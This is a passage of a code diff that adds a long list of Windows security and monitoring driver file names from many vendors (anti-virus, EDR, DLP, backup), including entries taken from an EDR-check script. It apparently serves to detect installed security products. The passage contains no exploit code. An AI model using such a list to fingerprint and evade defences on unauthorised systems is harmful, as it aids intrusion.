_T("eraser.sys"), + _T("SRTSP.sys"), + _T("SRTSPIT.sys"), + _T("SRTSP64.SYS"), + // Symantec + _T("VirtualAgent.sys"), + // Tall Emu + _T("OADevice.sys"), + // Technology Nexus AB + _T("SE46Filter.sys"), + // TEHTRI-Security + _T("egambit.sys"), + // Tencent + _T("TesMon.sys"), + _T("QQSysMonX64.sys"), + _T("QQSysMon.sys"), + // Teramind + _T("tmfsdrv2.sys"), + // TRAPMINE A.S. + _T("trpmnflt.sys"), + // Trend + _T("tmpreflt.sys"), + // Trend Micro Inc. + _T("TmKmSnsr.sys"), + _T("fileflt.sys"), + _T("TmEsFlt.sys"), + _T("TmEyes.sys"), + _T("tmevtmgr.sys"), + // Verdasys Inc + _T("STKrnl64.sys"), + // VisionPower Co.,Ltd. + _T("PZDrvXP.sys"), + // VMware, Inc. + _T("vsepflt.sys"), + _T("VFileFilter.sys(renamed)"), + // WardWiz + _T("WrdWizSecure64.sys"), + _T("wrdwizscanner.sys"), + // Webroot Inc. + _T("WRAEKernel.sys"), + _T("WRKrn.sys"), + _T("WRCore.sys"), + // Webroot Software, Inc. + _T("ssfmonm.sys"), + // White Cloud Security + _T("WCSDriver.sys"), + // WidgetNuri Corp + _T("SoftFilterxxx.sys"), + _T("RansomDefensexxx.sys"), + // WINS CO. LTD + _T("agentrtm64.sys"), + _T("rswmon.sys"), + // Yoggie + _T("UFDFilter.sys"), + // ZhengYong InfoTech LTD. + _T("Zyfm.sys"), + /* + * FSFilter Anti-Virus - END + */ + /* + * FSFilter Activity Monitor - BEGIN + */ + // (c)SMS + _T("isafermon"), + // 1mill + _T("FSMon.sys"), + // 360 Software (Beijing) + _T("AtdrAgent.sys"), + _T("AtdrAgent64.sys"), + _T("Qutmdrv.sys"), + // Absolute Software + _T("cbfsfilter2017.sys"), + // Acronis + _T("NgScan.sys"), + // Actifio Inc + _T("aaf.sys"), + // Adaptiva + _T("AdaptivaClientCache32.sys"), + _T("AdaptivaclientCache64.sys"), + // Adtrustmedia + _T("browserMon.sys"), + // AhnLab, Inc. + _T("VPDrvNt.sys"), + // AI Consulting + _T("aictracedrv_am.sys"), + // Airlock Digital Pty Ltd + _T("alcapture.sys"), + // AIRWare Technology Ltd + _T("airship-filter.sys"), + // Alfa + _T("AlfaFF.sys"), + // Aliaksander Lebiadzevich + _T("SDDrvLdr.sys"), + // AlphaAntiLeak + _T("AALProtect.sys"), + // ALPS SYSTEM INTERGRATION CO. + _T("ISIRMFmon.sys"), + // Altaro Ltd. + _T("altcbt.sys"), + // ALWIL Software + _T("aswFsBlk.sys"), + // Amazon Web Services Inc + _T("AmznMon.sys"), + // Analytik Jena AG + _T("ajfsprot.sys"), + // ApexSQL LLC + _T("ApexSqlFilterDriver.sys"), + // AppGuard LLC + _T("AGSysLock.sys"), + _T("AGSecLock.sys"), + // AppiXoft + _T("axfsysmon.sys"), + _T("scensemon.sys"), + // AppSense Ltd + _T("DataNow_Driver.sys"), + _T("UcaFltDriver.sys"), + // AppStream, Inc. + _T("rflog.sys"), + // ApSoft + _T("CwMem2k64.sys"), + // Aqua Security + _T("ContainerMonitor.sys"), + // Arcserve + _T("xoiv8x64.sys"), + // Arkoon Network Security + _T("heimdall.sys"), + // Ashampoo Development + _T("IFS64.sys"), + // AsiaInfo Technologies + _T("kFileFlt.sys"), + // Aternity Ltd + _T("AternityRegistryHook.sys"), + // Atlansys Software + _T("atflt.sys"), + _T("amfd.sys"), + // Avanite Limited + _T("AvaPsFD.sys"), + // Avast Software + _T("aswSP.sys"), + // AVG Technologies CZ + _T("avgtpx86.sys"), + _T("avgtpx64.sys"), + // Avira GmbH + _T("avipbb.sys"), + // AvSoft Technologies + _T("strapvista.sys"), + // Axact Pvt Ltd + _T("axfltdrv.sys"), + // Axur Information Sec. + _T("amsfilter.sys"), + // Backup Systems Ltd + _T("cbfltfs4.sys"), + // Baidu (beijing) + _T("BdRdFolder.sys"), + // Baidu (Hong Kong) Limited + _T("Bfmon.sys"), + // Baidu Online Network + _T("bdsysmon.sys"), + // Barkly Protects Inc. + _T("BOsCmFlt.sys"), + _T("BOsFsFltr.sys"), + // Basein Networks + _T("cbfsfilter2017.sys"), + // BattlEye Innovations + _T("BEDaisy.sys"), + // Beijing CA-JinChen Software Co. + _T("kfac.sys"), + // Beijing QiAnXin Tech. + _T("QmInspec.sys"), + // Beijing Qihoo Technology Co. + _T("360fsflt.sys"), + // Beijing Shu Yan Science + _T("GagSecurity.sys"), + // Beijing Zhong Hang Jiaxin Computer Technology Co.,Ltd. + _T("filefilter.sys"), + // Best Security + _T("rpwatcher.sys"), + // BeyondTrust Inc. + _T("BlackbirdFSA.sys"), + // BicDroid Inc. + _T("QDocumentREF.sys"), + // Bit9 Inc. + _T("CarbonBlackK.sys"), + // BitArmor Systems, Inc + _T("bapfecpt.sys"), + _T("bamfltr.sys"), + // Bitdefender SRL + _T("edrsensor.sys"), + _T("bdprivmon.sys"), + // bitFence Inc. + _T("bfaccess.sys"), + // BiZone LLC + _T("bzsenyaradrv.sys"), + _T("bzsenspdrv.sys"), + _T("bzsenth.sys"), + // Blue Ridge Networks + _T("BrnFileLock.sys"), + _T("BrnSecLock.sys"), + // Bluzen Inc + _T("ipcomfltr.sys"), + // Broadcom + _T("symevnt.sys"), + _T("symevnt32.sys"), + // Bromium Inc + _T("brfilter.sys"), + _T("BrCow_x_x_x_x.sys"), + _T("BemK.sys"), + // ByStorm + _T("BssAudit.sys"), + // C-DAC Hyderabad + _T("pecfilter.sys"), + // CA + _T("xomfcbt8x64.sys"), + _T("KmxAgent.sys"), + _T("KmxFile.sys"), + _T("KmxSbx.sys"), + // Carbonite Inc + _T("MozyNextFilter.sys"), + _T("MozyCorpFilter.sys"), + _T("MozyEntFilter.sys"), + _T("MozyOEMFilter.sys"), + _T("MozyEnterpriseFilter.sys"), + _T("MozyProFilter.sys"), + _T("MozyHomeFilter.sys"), + _T("BDSFilter.sys"), + _T("CSBFilter.sys"), + // cEncrypt + _T("dsflt.sys"), + // Centennial Software Ltd + _T("msiodrv4.sys"), + // Centre for Development of Advanced Computing + _T("USBPDH.SYS"), + // Centrify Corp + _T("CentrifyFSF.sys"), + // Certero + _T("cmflt.sys"), + // Chaewool + _T("cFSfdrv"), + // Check Point Software + _T("epregflt.sys"), + _T("epklib.sys"), + // Checkpoint Software + _T("cpepmon.sys"), + // ChemoMetec + _T("ChemometecFilter.sys"), + // Cigent Technology Inc + _T("Spotlight.sys"), + // Cigital, Inc. + _T("fmdrive.sys"), + // Cisco Systems + _T("csaam.sys"), + // Citrix Systems + _T("srminifilterdrv.sys"), + // Clonix Co + _T("rsfdrv.sys"), + // Clumio Inc + _T("ClumioChangeBlockMf.sys"), + // Code42 + _T("Code42Filter.sys"), + // ColorTokens + _T("FFDriver.sys"), + // Comae Tech + _T("windd.sys"), + // CommVault Systems, Inc. + _T("CVCBT.sys"), + // Comodo Security Solutions Inc. + _T("CmdCwagt.sys"), + _T("cfrmd.sys"), + // ComTrade + _T("ctamflt.sys"), + // Comtrue Technology + _T("shdlpSf.sys"), + _T("ctrPAMon.sys"), + _T("shdlpMedia.sys"), + // Conduant Corporation + _T("ConduantFSFltr.sys"), + // Condusiv Technologies + _T("hiofs.sys"), + // CondusivTechnologies + _T("vintmfs.sys"), + _T("intmfs.sys"), + _T("excfs.sys"), + // Confio + _T("IridiumSwitch.sys"), + // CONNECT SHIFT LTD + _T("DTPL.sys"), + // CoSoSys + _T("cssdlp.sys"), + // Crawler Group + _T("tbrdrv.sys"), + // Credant Technologies + _T("XendowFLT.sys"), + // CristaLink + _T("mtsvcdf.sys"), + // CRU Data Security Group + _T("CdsgFsFilter.sys"), + // CyberArk Software + _T("vfpd.sys"), + _T("CybKernelTracker.sys"), + // CyberSight Inc + _T("csmon.sys"), + // Cygna Labs + _T("FileMonitor.sys"), + // Cylance Inc. + _T("CyOptics.sys"), + _T("CyProtectDrv32.sys"), + _T("CyProtectDrv64.sys"), + // Cytrence Inc + _T("cytmon.sys"), + // Datacloak Tech + _T("dcfsgrd.sys"), + // DataGravity Inc. + _T("dgfilter.sys"), + // Datto Inc + _T("DattoFSF.sys"), + // Dell Secureworks + _T("groundling32.sys"), + _T("groundling64.sys"), + // Dell Software Inc. + _T("DgeDriver.sys"), + // DELL Technologies + _T("DTDSel.sys"), + // Dell Technologies + _T("NWEDriver.sys"), + // derivo GmbH + _T("bbfilter.sys"), + // Digitalsense Co + _T("dsfltfs.sys"), + // Diskeeper Corporation + _T("nowonmf.sys"), + _T("dktlfsmf.sys"), + _T("DKDrv.sys"), + _T("DKRtWrt.sys"), + _T("HBFSFltr.sys"), + // Dmitry Stefankov + _T("WinTeonMiniFilter.sys"), + _T("wiper.sys"), + _T("DevMonMiniFilter.sys"), + // Doctor Web + _T("Drwebfwflt.sys"), + _T("EventMon.sys"), + // Douzone Bizon Co + _T("rswctrl.sys"), + _T("mcstrg.sys"), + _T("fmkkc.sys"), + _T("nmlhssrv01.sys"), + // DreamCrafts + _T("SaMFlt.sys"), + // Dtex Systems + _T("dnaFSMonitor.sys"), + // EaseVault Technologies Inc. + _T("EaseFlt.sys"), + // Egis Technology Inc. + _T("eLock2FSCTLDriver.sys"), + // Egnyte Inc + _T("egnfsflt.sys"), + // eIQnetworks Inc. + _T("FIM.sys"), + // Elex Tech Inc + _T("iSafeKrnl.sys"), + _T("iSafeKrnlMon.sys"), + // eMingSoftware Inc + _T("NetPeeker.sys"), + // Encourage Technologies + _T("asiofms.sys"), + // Enterprise Data Solutions, Inc. + _T("edsigk.sys"), + // Entrust Inc. + _T("eetd32.sys"), + _T("eetd64.sys"), + // ESET, spol. s r.o. + _T("ehdrv.sys"), + // ESTsoft corp. + _T("EstPrmon.sys"), + _T("Estprp.sys"), + _T("EstRegmon.sys"), + _T("EstRegp.sys"), + // F-Secure + _T("fshs.sys"), + _T("fsatp.sys"), + // Faronics Corporation + _T("AeFilter.sys"), + // FastTrack Software ApS + _T("AbrPmon.sys"), + // FFC Limited + _T("FFCFILT.SYS"), + // FileTek, Inc. + _T("TrustedEdgeFfd.sys"), + // FireEye Inc + _T("WFP_MRT.sys"), + // FireEye Inc. + _T("FeKern.sys"), + // Fitsec Ltd + _T("kconv.sys"), + _T("trace.sys"), + _T("SandDriver.sys"), + // Flexera Software Inc. + _T("ISRegFlt.sys"), + _T("ISRegFlt64.sys"), + // ForcePoint LLC. + _T("fpepflt.sys"), + // Fujian Shen Kong + _T("wats_se.sys"), + // FUJITSU ENGINEERING + _T("ibr2fsk.sys"), + // FUJITSU LIMITED + _T("FJGSDis2.sys"), + _T("FJSeparettiFilterRedirect.sys"), + _T("Fsw31rj1.sys"), + _T("da_ctl.sys"), + // FUJITSU SOCIAL SCIENCE + _T("secure_os.sys"), + // FUJITSU SOFTWARE + _T("PsAcFileAccessFilter.sys"), + // Fusion-io + _T("fiometer.sys"), + _T("dcSnapRestore.sys"), + // Futuresoft + _T("PointGuardVistaR32.sys"), + _T("PointGuardVistaR64.sys"), + _T("PointGuardVistaF.sys"), + _T("PointGuardVista64F.sys"), + // G Data Software AG + _T("gddcv.sys"), + // GameHi Co. + _T("Codex.sys"), + // GemacmbH + _T("GcfFilter.sys"), + // Glarysoft Ltd. + _T("GUMHFilter.sys"), + // Google, Inc. + _T("MRxGoogle.sys"), + // Gorizonty Rosta Ltd + _T("GoFSMF.sys"), + // GrammaTech, Inc. + _T("drvhookcsmf.sys"), + _T("drvhookcsmf_amd64.sys"), + // Group-IB LTD + _T("gibepcore.sys"), + // HA Unix Pt + _T("hafsnk.sys"), + // Hangzhou Yifangyun + _T("fangcloud_autolock_driver.sys"), + // HAURI + _T("secure_os_mf.sys"), + // Hauri Inc + _T("VrVBRFsFilter.sys"), + _T("VrExpDrv.sys"), + // HAVELSAN A. + _T("HVLMinifilter.sys"), + // HEAT Software + _T("SK.sys"), + // Heilig Defense LLC + _T("HDRansomOffDrv.sys"), + _T("HDCorrelateFDrv.sys"), + _T("HDFileMon.sys"), + // HeroBravo Technology + _T("sysdiag.sys"), + // Hexis Cyber Solutions + _T("HexisFSMonitor.sys"), + // HFN Inc. + _T("RGNT.sys"), + // Hitachi Solutions + _T("hsmltmon.sys"), + // Honeycomb Technologies + _T("dskmn.sys"), + // HP + _T("hpreg.sys"), + // i-Guard SAS + _T("iGuard.sys"), + // I-O DATA DEVICE + _T("sConnect.sys"), + // IBM + _T("NmpFilter.sys"), + _T("FsMonitor.sys"), + // Idera + _T("IderaFilterDriver.sys"), + // Idera Software + _T("SQLsafeFilterDriver.sys"), + // IGLOO SECURITY, Inc. + _T("kmNWCH.sys"), + // IKARUS Security + _T("Sonar.sys"), + // Immidio B.V. + _T("immflex.sys"), + // in-soft Kft. + _T("LmDriver.sys"), + // INCA Internet Co. + _T("GKPFCB.sys"), + _T("GKPFCB64.sys"), + // INCA Internet Co.,Ltd. + _T("TkPcFtCb.sys"), + _T("TkPcFtCb64.sys"), + // Industrial Technology + _T("icrlmonitor.sys"), + // InfoCage + _T("IccFilterSc.sys"), + // Informzaschita + _T("SnDacs.sys"), + _T("SnExequota.sys"), + // Infotecs + _T("filenamevalidator.sys"), + _T("KC3.sys"), + // InfoWatch + _T("iwhlp2.sys"), + _T("iwhlpxp.sys"), + _T("iwhlp.sys"), + _T("iwdmfs.sys"), + // Initech Inc. + _T("INISBDrv64.sys"), + // Int3 Software AB + _T("equ8_helper.sys"), + // Intel Corporation + _T("ielcp.sys"), + _T("IESlp.sys"), + _T("IntelCAS.sys"), + // Intercom Inc. + _T("tsifilemon.sys"), + _T("MarSpy.sys"), + // Interset Inc. + _T("WDCFilter.sys"), + // Intronis Inc + _T("VHDTrack.sys"), + // Invincea + _T("InvProtectDrv.sys"), + _T("InvProtectDrv64.sys"), + // Ionx Solutions LLP + _T("AuditFlt.sys"), + // ioScience + _T("iothorfs.sys"), + // iSecure Ltd. + _T("isecureflt.sys"), + // ITsMine + _T("imfilter.sys"), + // ITSTATION Inc + _T("aUpDrv.sys"), + // Ivanti + _T("IvAppMon.sys"), + // J's Communication Co. + _T("RevoNetDriver.sys"), + // Jinfengshuntai + _T("IPFilter.sys"), + // JiranData Co. Ltd + _T("JDPPWF.sys"), + _T("JDPPSF.sys"), + // Jiransoft Co., Ltd + _T("offsm.sys"), + _T("xkfsfd.sys"), + _T("JKPPOB.sys"), + _T("JKPPXK.sys"), + _T("JKPPPF.sys"), + _T("JKPPOK.sys"), + _T("pcpifd.sys"), + // k4solution Co. + _T("zsfprt.sys"), + // Kalpataru + _T("GPMiniFIlter.sys"), + // Kaspersky Lab + _T("klboot.sys"), + _T("klfdefsf.sys"), + _T("klrsps.sys"), + _T("klsnsr.sys"), + _T("klifks.sys"), + _T("klifaa.sys"), + _T("Klifsm.sys"), + // KEBA AG + _T("KeWF.sys"), + // Kenubi + _T("boxifier.sys"), + // Keysight Technologies + _T("KtFSFilter.sys"), + // kingsoft + _T("Kisknl.sys"), + // Kits Ltd. + _T("cbfsfilter2017.sys"), + // KnowledgeTree Inc. + _T("ktsyncfsflt.sys"), + // Koby Kahane + _T("NpEtw.sys"), + // Ladislav Zezula + _T("MSpy.sys"), + // LANDESK Software + _T("LDSecDrv.sys"), + // Lenovo Beijing + _T("slb_guard.sys"), + _T("lrtp.sys"), + // LINK co. + _T("NetAccCtrl.sys"), + _T("NetAccCtrl64.sys"), + // Livedrive Internet Ltd + _T("LivedriveFilter.sys"), + // Logichron Inc + _T("CatMF.sys"), + // LogRhythm Inc. + _T("LRAgentMF.sys"), + // Lovelace Network Tech + _T("MPKernel.sys"), + // Lumension + _T("eps.sys"), + // Magic Softworks, Inc. + _T("MagicBackupMonitor.sys"), + // magrasoft Ltd + _T("zqFilter.sys"), + // MailRu + _T("mracdrv.sys"), + // Malwarebytes + _T("mbamshuriken.sys"), + // Man Technology Inc + _T("bsrfsflt.sys"), + _T("fsrfilter.sys"), + _T("vollock.sys"), + _T("drbdlock.sys"), + // ManageEngine Zoho + _T("DFMFilter.sys"), + _T("DCFAFilter.sys"), + _T("RMPHVMonitor.sys"), + _T("FAPMonitor.sys"), + _T("MEARWFltDriver.sys"), + // ManTech + _T("topdogfsfilt.sys"), + // March Hare Software Ltd + _T("evscase.sys"), + _T("inuse.sys"), + _T("cvsflt.sys"), + // McAfee + _T("mfencfilter.sys"), + // McAfee Inc. + _T("mfeaskm.sys"), + // Micro Focus + _T("FilrDriver.sys"), + // Microsoft + _T("DhWatchdog.sys"), + _T("mssecflt.sys"), + _T("Backupreader.sys"), + _T("MsixPackagingToolMonitor.sys"), + _T("AppVMon.sys"), + _T("DpmFilter.sys"), + _T("Procmon11.sys"), + _T("minispy.sys"), + _T("fdrtrace.sys"), + _T("filetrace.sys"), + _T("uwfreg.sys"), + _T("uwfs.sys"), + _T("locksmith.sys"), + _T("winload.sys"), + _T("CbSampleDrv.sys"), + _T("simrep.sys"), + _T("change.sys"), + _T("delete_flt.sys"), + _T("SmbResilFilter.sys"), + _T("usbtest.sys"), + _T("NameChanger.sys"), + _T("failMount.sys"), + _T("failAttach.sys"), + _T("stest.sys"), + _T("cdo.sys"), + _T("ctx.sys"), + _T("fmm.sys"), + _T("cancelSafe.sys"), + _T("message.sys"), + _T("passThrough.sys"), + _T("nullFilter.sys"), + _T("ntest.sys"), + _T("iiscache.sys"), + _T("wrpfv.sys"), + _T("msnfsflt.sys"), + // Mobile Content Mgmt + _T("cbfsfilter2017.sys"), + // MRY Inc. + _T("drsfile.sys"), + // NanJing Geomarking + _T("MagicProtect.sys"), + _T("cbfsfilter2017.sys"), + _T("cbfsfilter2020.sys"), + // NEC Corporation + _T("UVMCIFSF.sys"), + // NEC Soft + _T("flyfs.sys"), + _T("serfs.sys"), + _T("hdrfs.sys"), + // NEC System Technologies + _T("IccFilterAudit.sys"), + // NEC System Technologies,Ltd. + _T("ICFClientFlt.sys"), + _T("IccFileIoAd.sys"), + // Neowiz Corporation + _T("MWatcher.sys"), + // NetIQ + _T("CGWMF.sys"), + // NetLib + _T("nlcbhelpx86.sys"), + _T("nlcbhelpx64.sys"), + _T("nlcbhelpi64.sys"), + // NetVision, Inc. + _T("nvmon.sys"), + // Network Appliance + _T("flashaccelfs.sys"), + _T("changelog.sys"), + // NetworkProfi Ltd + _T("laFS.sys"), + // New Net Technologies Limited + _T("NNTInfo.sys"), + // NewSoftwares.net,Inc. + _T("WinFLAHdrv.sys"), + _T("WinFLAdrv.sys"), + _T("WinDBdrv.sys"), + _T("WinFLdrv.sys"), + _T("WinFPdrv.sys"), + // NEXON KOREA + _T("BlackCat.sys"), + // NextLabs + _T("nxrmflt.sys"), + // Niriva LLC + _T("VHDDelta.sys"), + _T("FSTrace.sys"), + // Nomadesk + _T("cbfltfs4.sys"), + // Novell + _T("zesfsmf.sys"), + // NTP Software + _T("ntps_fa.sys"), + // Nurd Yazilim A.S. + _T("edrdrv.sys"), + // NURILAB + _T("pfracdrv.sys"), + _T("nrcomgrdki.sys"), + _T("nrcomgrdka.sys"), + _T("nrpmonki.sys"), + _T("nrpmonka.sys"), + _T("nravwka.sys"), + _T("bhkavki.sys"), + _T("bhkavka.sys"), + _T("docvmonk.sys"), + _T("docvmonk64.sys"), + // NVELO Inc. + _T("SamsungRapidFSFltr.sys"), + // OCZ Storage + _T("OczMiniFilter.sys"), + // OnGuard Systems LLC + _T("NlxFF.sys"), + // OpenText Corp + _T("enmon.sys"), + // OPSWAT Inc. + _T("libwamf.sys"), + // ORANGE WERKS Inc + _T("wgfile.sys"), + // PA File Sight + _T("FileSightMF.sys"), + // Packeteer + _T("mblmon.sys"), + // Palo Alto Networks + _T("tedrdrv.sys"), + // PHD Virtual Tech Inc. + _T("phdcbtdrv.sys"), + // PJSC KP VTI + _T("RW7FsFlt.sys"), + // PolyLogyx LLC + _T("vast.sys"), + // Positive Technologies + _T("mpxmon.sys"), + // Protected Networks + _T("minitrc.sys"), + // Qihoo 360 + _T("360box.sys"), + // Qingdao Ruanmei Network Technology Co. + _T("RMDiskMon.sys"), + _T("diskactmon.sys"), + // Quality Corporation + _T("qfmon.sys"), + // Qualys Inc. + _T("QMON.sys"), + _T("qfimdvr.sys"), + // Quantum Corporation. + _T("cvofflineFlt32.sys"), + _T("cvofflineFlt64.sys"), + // Quest Software + _T("QFAPFlt.sys"), + // Quest Software Inc. + _T("BWFSDrv.sys"), + _T("CAADFlt.sys"), + // Quick Heal Technologies Pvt. Ltd. + _T("sieflt.sys"), + _T("cssdlp.sys"), + _T("fam.sys"), + // Quorum Labs + _T("qfilter.sys"), + // Rackware + _T("rwchangedrv.sys"), + // Redstor Limited + _T("RsFlt.sys"), + // RES Software + _T("FileGuard.sys"), + _T("NetGuard.sys"), + _T("RegGuard.sys"), + _T("ImgGuard.sys"), + _T("AppGuard.sys"), + // Resplendence Software Projects + _T("mmPsy32.sys"), + _T("mmPsy64.sys"), + _T("rrMon32.sys"), + _T("rrMon64.sys"), + // rhipe Australia Pty + _T("SeRdr.sys"), + // Rubrik Inc + _T("RubrikFileAudit.sys"), + _T("FileSystemCBT.sys"), + // rubysoft + _T("IronGateFD.sys"), + // RuiGuard Ltd + _T("RuiMinispy.sys"), + _T("RuiFileAccess.sys"), + _T("RuiEye.sys"), + _T("RuiMachine.sys"), + _T("RuiDiskFs.sys"), + // RUNEXY + _T("ruaff.sys"), + _T("mlsaff.sys"), + // SAFE-Cyberdefense + _T("SAFE-Agent.sys"), + // Safend + _T("Sahara.sys"), + _T("Santa.sys"), + // SaferZone Co. + _T("SZEDRDrv.sys"), + _T("szardrv.sys"), + _T("szpcmdrv.sys"), + _T("szdfmdrv.sys"), + _T("szdfmdrv_usb.sys"), + _T("sprtdrv.sys"), + // Samsung SDS Ltd + _T("SGResFlt.sys"), + // SanDisk Inc. + _T("fiopolicyfilter.sys"), + // Sandoll Communication + _T("SfdFilter.sys"), + // SC ODEKIN SOLUTIONS SRL + _T("ospmon.sys"), + // Scalable Software Inc. + _T("PkgFilter.sys"), + // ScriptLogic + _T("FSAFilter.sys"), + // Secdo + _T("SecdoDriver.sys"), + // SecureAxis + _T("usbl_ifsfltr.sys"), + // SecureAxis Software + _T("llfilter.sys"), + // Secured Globe Inc. + _T("fltRs329.sys"), + // SecureLink Inc. + _T("CBFSFilter2017.sys"), + // Security Code LLC + _T("ScAuthFSFlt.sys"), + _T("ScAuthIoDrv.sys"), + // SentinelOne + _T("SentinelMonitor.sys"), + // Sevtechnotrans + _T("uamflt.sys"), + // Shanghai YiCun Network Tech Co. Ltd + _T("AccessValidator.sys"), + // SharpCrafters + _T("psisolator.sys"), + // SheedSoft Ltd + _T("SheedSelfProtection.sys"), + // SheedSoft Ltd. + _T("arta.sys"), + // Shenzhen CloudRiver + _T("CrUnCopy.sys"), + // SHENZHEN UNNOO Information Techco. + _T("RyGuard.sys"), + _T("FileShareMon.sys"), + _T("ryfilter.sys"), + // Shenzhen Unnoo LTD + _T("secufile.sys"), + _T("XiaobaiFs.sys"), + _T("XiaobaiFsR.sys"), + // ShinNihonSystec Co + _T("sagntflt.sys"), + // Simopro Technology + _T("CbFltFs4.sys"), + // SK Infosec Co + _T("PLPOffDrv.sys"), + _T("ISFPDrv.sys"), + _T("ionmonwdrv.sys"), + // Sky Co., LTD. + _T("SkyRGDrv.sys"), + _T("SkyAMDrv.sys"), + // Sky Co.,Ltd. + _T("SkyWPDrv.sys"), + // SmartFile LLC + _T("FileHubAgent.sys"), + // SMTechnology Co. + _T("storagedrv.sys"), + // SN Systems Ltd + _T("cbfilter20.sys"), + _T("cbfsfilter2017.sys"), + // SnoopWall LLC + _T("SWCommFltr.sys"), + // SODATSW + _T("sodatpfl.sys"), + // SODATSW spol. s r.o. + _T("sodatpfl.sys"), + _T("fcontrol.sys"), + // SoftCamp Co. + _T("scred.sys"), + // Softnext Technologies + _T("snimg.sys"), + // SoftPerfect Research + _T("fsnk.sys"), + // Software Pursuits Inc. + _T("SPIMiniFilter.sys"), + // Sogou Ltd. + _T("SCAegis.sys"), + // Solarwinds LLC + _T("SWFsFltrv2.sys"), + _T("SWFsFltr.sys"), + // Soliton Systems + _T("it2reg.sys"), + _T("it2drv.sys"), + _T("solitkm.sys"), + // Soliton Systems K.K. + _T("SDVFilter.sys"), + // Solusseum Inc + _T("Sefo.sys"), + // Soluto LTD + _T("PDGenFam.sys"), + // Somma Inc + _T("MonsterK.sys"), + // SonicWall Inc + _T("SFPMonitor.sys"), + // Sophos + _T("SophosED.sys"), + // Sophos Plc + _T("soidriver.sys"), + // SoulFrost + _T("sfac.sys"), + // SPEKNET EOOD + _T("Asgard.sys"), + // Spharsoft Technologies + _T("SvCBT.sys"), + // Squadra Technologies + _T("secRMM.sys"), + // Stegosystems Inc + _T("StegoProtect.sys"), + // StorageCraft Tech + _T("stcvsm.sys"), + // Stormshield + _T("EsProbe.sys"), + // Sumitomo Electric Ltd. + _T("MCFileMon64.sys"), + _T("MCFileMon32.sys"), + // Sun&Moon Rise + _T("ntfsf.sys"), + // Symantec + _T("pgpwdefs.sys"), + _T("GEProtection.sys"), + _T("sysMon.sys"), + _T("ssrfsf.sys"), + _T("emxdrv2.sys"), + _T("reghook.sys"), + _T("spbbcdrv.sys"), + _T("bhdrvx86.sys"), + _T("bhdrvx64.sys"), + _T("SISIPSFileFilter"), + _T("symevent.sys"), + // Symantec Corp. + _T("diflt.sys"), + // Syncopate + _T("thetta.sys"), + // Systemneeds, Inc + _T("Snilog.sys"), + // TaaSera Inc. + _T("AwareCore.sys"), + // Tanium + _T("TaniumRecorderDrv.sys"), + // TCXA Ltd. + _T("fcnotify.sys"), + // Tech Research + _T("FASDriver"), + // TechnoKom Ltd. + _T("agfsmon.sys"), + // Telefnica Digital + _T("path8flt.sys"), + // Temasoft S.R.L. + _T("filemon.sys"), + // Tencent (Shenzhen) + _T("QQProtect.sys"), + _T("QQProtectX64.sys"), + // Tencent Technology + _T("TenRSafe2.sys"), + _T("tesxporter.sys"), + _T("tesxnginx.sys"), + // Tetraglyph Technologies + _T("TGFSMF.sys"), + // ThinAir Labs Inc + _T("taobserveflt.sys"), + // ThinScale Tech + _T("TSTFsReDir.sys"), + _T("TSTRegReDir.sys"), + _T("TSTFilter.sys"), + // Third Brigade + _T("tbfsfilt.sys"), + // Threat Stack + _T("ThreatStackFIM.sys"), + // Tiversa Inc + _T("tss.sys"), + // Topology Ltd + _T("dsfemon.sys"), + // Tranxition Corp + _T("regmonex.sys"), + _T("TXRegMon.sys"), + // Trend Micro Inc. + _T("TMUMS.sys"), + _T("hfileflt.sys"), + _T("TMUMH.sys"), + // Trend Micro, Inc. + _T("AcDriver.sys"), + _T("SakFile.sys"), + _T("SakMFile.sys"), + // Tritium Inc. + _T("Tritiumfltr.sys"), + // Trustware Ltd + _T("Redlight.sys"), + // Trustwave + _T("TWBDCFilter.sys"), + // UpGuard + _T("UpGuardRealTime.sys"), + // Varlook Ltd. + _T("varpffmon.sys"), + // Varonis Ltd + _T("VrnsFilter.sys"), + // Veramine Inc + _T("phantomd.sys"), + // Vidder Inc. + _T("vidderfs.sys"), + // Viewfinity + _T("vfdrv.sys"), + // Vision Solutions + _T("repdrv.sys"), + _T("repmon.sys"), + // VMware, Inc. + _T("VMWVvpfsd.sys"), + _T("RTOLogon.sys"), + // VoodooSoft + _T("VSScanner.sys"), + // WaikatoLink Ltd + _T("proggerdriver.sys"), + // WardWiz + _T("WRDWIZFILEPROT.SYS"), + _T("WRDWIZREGPROT.SYS"), + // Warp Disk Software + _T("DsDriver.sys"), + // Weing Co.,Ltd. + _T("pscff.sys"), + // Wellbia.com + _T("xhunter64.sys"), + _T("uncheater.sys"), + // Wellbiacom + _T("xhunter1.sys"), + // Whitebox Security + _T("wbfilter.sys"), + // WhiteCell Software Inc. + _T("EGMinFlt.sys"), + // WidgetNuri Corp + _T("wsafefilter.sys"), + _T("RansomDetect.sys"), + // Winicssec Ltd + _T("wlminisecmod.sys"), + _T("WntGPDrv.sys"), + // X-Cloud Systems + _T("xcpl.sys"), + // Xacti + _T("stflt.sys"), + // Yahoo Japan Corporation + _T("YahooStorage.sys"), + // Yandex LLC + _T("bmregdrv.sys"), + _T("bmfsdrv.sys"), + // YATEM Co. Ltd. + _T("LCmPrintMon.sys"), + _T("LCgAdMon.sys"), + _T("LCmAdMon.sys"), + _T("LCgFileMon.sys"), + _T("LCmFile.sys"), + _T("LCgFile.sys"), + _T("LCmFileMon.sys"), + // Yokogawa Corpration + _T("YFSD2.sys"), + // Yokogawa R&L Corp + _T("YFSDR.SYS"), + _T("YFSD.SYS"), + _T("YFSRD.sys"), + _T("psgfoctrl.sys"), + _T("psgdflt.sys"), + // Zampit + _T("zampit_ml.sys"), + // ZenmuTech Inc. + _T("mumdi.sys"), + // Zhuan Zhuan Jing Shen + _T("zzpensys.sys"), + // ZoneFox + _T("KernelAgent32.sys"), + /* + * FSFilter Activity Monitor - END + */ + /* + * Invoke-EDRCheck.ps1 - BEGIN + * Duplicates from previous source are removed. + */ + // Altiris Symantec + _T("atrsdfw.sys"), + // Avast + _T("naswSP.sys"), + // Carbon Black + _T("CbELAM.sys"), + _T("ctifile.sys"), + _T("ctinet.sys"), + _T("parity.sys"), + // Cisco + _T("csacentr.sys"), + _T("csaenh.sys"), + _T("csareg.sys"), + _T("csascr.sys"), + // CJSC Returnil Software + _T("rvsavd.sys"), + // Comodo Security + _T("CmdMnEfs.sys"), + _T("MyDLPMF.sys"), + // CrowdStrike + _T("im.sys"), + _T("CSDeviceControl.sys"), + _T("CSFirmwareAnalysis.sys"), + // Cybereason + _T("CRExecPrev.sys"), + // Endgame + _T("esensor.sys"), + // ESET + _T("edevmon.sys"), + // F-Secure + _T("xfsgk.sys"), + // Malwarebytes + 